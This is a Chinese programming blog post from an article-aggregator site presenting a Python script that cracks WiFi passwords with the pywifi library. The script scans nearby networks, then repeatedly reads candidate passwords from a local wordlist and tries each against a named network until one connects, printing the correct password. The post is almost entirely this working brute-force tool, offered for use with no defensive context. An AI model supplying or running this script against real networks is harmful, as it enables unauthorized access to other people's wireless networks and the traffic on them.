python破解wifi密码
2021/8/29 11:07:15
本文主要是介绍python破解wifi密码,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
import pywifi import time from pywifi import const # 判断是否连接到wifi环境 def judge_connect_wifi(): #创建一个无线对象 wifi = pywifi.PyWiFi() #获取无线网卡名字 myinterface = wifi.interfaces()[0] # iface 是一个列表,取它的第一个元素 # print(myinterface.name()) # 无线网卡名字 # print(myinterface.status())# 连接wifi状态 if myinterface.status() == const.IFACE_DISCONNECTED: print('wifi未连接') else: print('wifi已经连接') # judge_connect_wifi() # 调用 判断是否连接到wifi环境 #扫描附近wifi def scan_wifi(): #创建一个无线对象 wifi = pywifi.PyWiFi() #获取网卡 myinterface = wifi.interfaces()[0] #扫描附近wifi myinterface.scan() scan_result = myinterface.scan_results() # print(scan_result ) for wifi in scan_result : print(wifi.ssid) # scan_wifi() #断开wifi连接 def wificonn(wifiname,wifipwd): #wifi的测试连接 wifi = pywifi.PyWiFi() myinterface = wifi.interfaces()[0] #断开wifi连接 myinterface.disconnect() time.sleep(0.5) if myinterface.status() == const.IFACE_DISCONNECTED: #创建wifi连接文件 profile = pywifi.Profile() #wifi名称 profile.ssid = wifiname #wifi密码 profile.key = wifipwd #wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #网卡的开放 profile.auth = const.AUTH_ALG_OPEN #加密单元 profile.cipher = const.CIPHER_TYPE_CCMP #删除所有的wifi文件 myinterface.remove_all_network_profiles() #设置新的连接文件 temp_profile = myinterface.add_network_profile(profile) #连接wifi myinterface.connect(temp_profile) time.sleep(3) if myinterface.status() == const.IFACE_CONNECTED: return True else: return False # wificonn('Redmi 10X','mnbvcxz123') def red_pwd(): print('开始破解') path = 'D:\coding_software\pyfile\python_chart_sixteen_7_26\2021_08_28\pwd' file = open(path,'r') while True: try: wifipwd = file.readline() bool = wificonn('Redmi 10X',wifipwd) if bool: print('密码正确,密码是:',wifipwd) break #只能退出一层循环 else: print("密码错误,密码是:",wifipwd) except: continue file.close() red_pwd()
这篇关于python破解wifi密码的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-16`PyMuPDF4LLM`:提取PDF数据的神器
- 2024-11-16四种数据科学Web界面框架快速对比:Rio、Reflex、Streamlit和Plotly Dash
- 2024-11-14获取参数学习:Python编程入门教程
- 2024-11-14Python编程基础入门
- 2024-11-14Python编程入门指南
- 2024-11-13Python基础教程
- 2024-11-12Python编程基础指南
- 2024-11-12Python基础编程教程
- 2024-11-08Python编程基础与实践示例
- 2024-11-07Python编程基础指南